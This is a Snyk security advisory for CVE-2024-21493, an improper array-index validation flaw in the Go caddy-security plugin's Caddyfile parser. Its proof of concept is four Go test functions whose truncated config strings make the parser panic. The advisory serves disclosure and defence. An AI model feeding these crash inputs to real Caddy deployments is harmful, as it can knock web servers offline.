Improper Validation of Array Index Affecting github.com/greenpau/caddy-security package, versions *


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.05% (18th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-GOLANG-GITHUBCOMGREENPAUCADDYSECURITY-5961078
  • published16 Feb 2024
  • disclosed18 Sept 2023
  • creditMaciej Domanski, Travis Peters, David Pokora

Introduced: 18 Sep 2023

CVE-2024-21493  (opens in a new tab)
CWE-129  (opens in a new tab)
First added by Snyk

How to fix?

There is no fixed version for github.com/greenpau/caddy-security.

Overview

github.com/greenpau/caddy-security is a Security App and Plugin for Caddy v2.

Affected versions of this package are vulnerable to Improper Validation of Array Index when parsing a Caddyfile. Multiple parsing functions in the affected library do not validate whether their input values are nil before attempting to access elements, which can lead to a panic (index out of range). Panics during the parsing of a configuration file may introduce ambiguity and vulnerabilities, hindering the correct interpretation and configuration of the web server.

PoC

func TestCrashCredentialsUsername(t *testing.T) {
    file := caddyfile.NewTestDispenser(string("0 { credentials 0 { username"))
    parseCaddyfile(file, nil)
}

func TestCrashCredentialsDomain(t *testing.T) {
    file := caddyfile.NewTestDispenser(string("0 { credentials 0 { domain"))
    parseCaddyfile(file, nil)
}

func TestCrashSSOProvider(t *testing.T) {
    file := caddyfile.NewTestDispenser(string("00 {  sso provider 0 {  entity_id"))
    parseCaddyfile(file, nil)
}

func TestCrashParseCaddyfileMessaging(t *testing.T) {
    file := caddyfile.NewTestDispenser(string("0 { messaging email provider 0 { address"))
    parseCaddyfile(file, nil)
}

CVSS Scores

version 3.1